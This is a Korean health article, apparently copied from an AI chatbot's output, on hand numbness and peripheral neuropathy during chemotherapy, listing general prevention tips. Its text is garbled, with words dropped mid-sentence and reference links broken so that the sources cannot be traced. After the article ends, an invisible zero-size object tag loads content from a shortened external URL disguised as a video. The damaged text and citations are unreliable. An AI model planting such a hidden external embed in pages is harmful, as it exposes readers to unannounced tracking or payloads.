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<div _ngcontent-ng-c3936258733="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear; --first-token-animation-duration: 400ms;"><h2 data-sourcepos="1:1-1:32">손저림 , 말초신경병증 그리고 항암 중 예방법</h2><p data-sourcepos="3:1-3:16"><strong>손저림, 왜 생길까요?</strong></p><p data-sourcepos="5:1-5:161">손저림은 다양한 원인으로 발생할 수 있는데, 그중 하나가 <strong>말초신경병증</strong>입니다. 말초신경병증은 손과 발 끝을 포함한 신체 말단 부위의 신경이 손상되어 저림, 통증, 감각 이상 등의 을 유발하는 입니다. 특히 <strong>항암</strong>를 받는 환자들에게는 더욱 흔하게 나타날 수 있습니다.</p><p data-sourcepos="7:1-7:16"><strong>항암와 말초신경병증</strong></p><p data-sourcepos="9:1-9:83">항암제는 암세포뿐만 아니라 정상 세포, 특히 신경 세포에도 손상을 줄 수 있습니다. 이러한 신경 손상이 축적되면 말초신경병증이 발생할 수 있습니다.</p><p data-sourcepos="11:1-11:17"><strong>손저림 예방을 위한 노력</strong></p><p data-sourcepos="13:1-13:42">항암 중 손저림을 예방하기 위해 다음과 같은 노력을 기울일 수 있습니다.</p><ul data-sourcepos="15:1-21:0">
<li data-sourcepos="15:1-15:47"><strong>체온 유지:</strong> 손발을 따뜻하게 유지하고, 찬물에 오래 담그는 것을 피합니다.</li>
<li data-sourcepos="16:1-16:36"><strong>수분 섭취:</strong> 충분한 물을 마셔 몸의 수분을 유지합니다.</li>
<li data-sourcepos="17:1-17:52"><strong>영양 관리:</strong> 신경 건강에 좋은 비타민 B12, B6 등이 풍부한 음식을 섭취합니다.</li>
<li data-sourcepos="18:1-18:50"><strong>규칙적인 운동:</strong> 가벼운 스트레칭이나 유산소 운동을 통해 혈액 순환을 개선합니다.</li>
<li data-sourcepos="19:1-19:50"><strong>손 보호:</strong> 찬바람이나 물에 직접적으로 노출되는 것을 피하고, 장갑을 착용합니다.</li>
<li data-sourcepos="20:1-21:0"><strong>약물 관리:</strong> 의사와 상담하여 신경 보호제 등의 약물 복용을 고려할 수 있습니다.</li>
</ul><p data-sourcepos="22:1-22:12"><strong>주의해야 할 점</strong></p><ul data-sourcepos="24:1-26:0">
<li data-sourcepos="24:1-24:55"><strong>자가진단 금지:</strong> 손저림이 나타나면 반드시 의료진에게 알리고 한 진단을 받아야 합니다.</li>
<li data-sourcepos="25:1-26:0"><strong>개인차 고려:</strong> 위에 제시된 방법들이 모든 환자에게 적인 것은 아닙니다. 개인의 상태에 따라 적절한 방법을 선택해야 합니다.</li>
</ul><p data-sourcepos="27:1-27:7"><strong>마무리</strong></p><p data-sourcepos="29:1-29:115">항암 중 손저림은 불편함을 야기할 수 있지만, 적절한 관리를 통해 을 완화하고 삶의 질을 향상시킬 수 있습니다. 만약 손저림이 심해지거나 일상생활에 지장을 준다면, 주저하지 말고 의료진과 상담하세요.</p><p data-sourcepos="31:1-31:77"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보이며, 개인의 상황에 맞는 한 진단과 는 의료 전문가와 상담해야 합니다.</p><p data-sourcepos="33:1-33:10"><strong>참고 자료:</strong></p><ul data-sourcepos="35:1-38:0">
<li data-sourcepos="35:1-35:155"><strong>서울대학교병원:</strong> <response-element class="" _nghost-ng-c3842210845="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block _ngcontent-ng-c3842210845="" class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2029911209="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_84a94847cfbd712f&quot;,&quot;c_af3d6338b2179e09&quot;,null,&quot;rc_a483c8d749beb0ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" ://.snuh.org/m/board/B003/view.do?bbs_no=5865&amp;searchWord=">http://.snuh.org/m/board/B003/view.do?bbs_no=5865&amp;searchWord=</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="36:1-36:117"><strong>:</strong> <response-element class="" _nghost-ng-c3842210845="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block _ngcontent-ng-c3842210845="" class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2029911209="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_84a94847cfbd712f&quot;,&quot;c_af3d6338b2179e09&quot;,null,&quot;rc_a483c8d749beb0ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" s:///humc_health/223073678045">https:///humc_health/223073678045</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="37:1-38:0"><strong>YouTube:</strong> <response-element class="" _nghost-ng-c3842210845="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block _ngcontent-ng-c3842210845="" class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2029911209="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_84a94847cfbd712f&quot;,&quot;c_af3d6338b2179e09&quot;,null,&quot;rc_a483c8d749beb0ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" s://.youtube.com/watch?v=q5pGCbspJyE">https://.youtube.com/watch?v=q5pGCbspJyE</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
</ul><p data-sourcepos="39:1-39:38"><strong>키워드:</strong> 손저림, 말초신경병증, 항암, 예방, 건강, 의료</p><p data-sourcepos="41:1-41:24"><strong>이 정보가 도움이 되셨기를 바랍니다.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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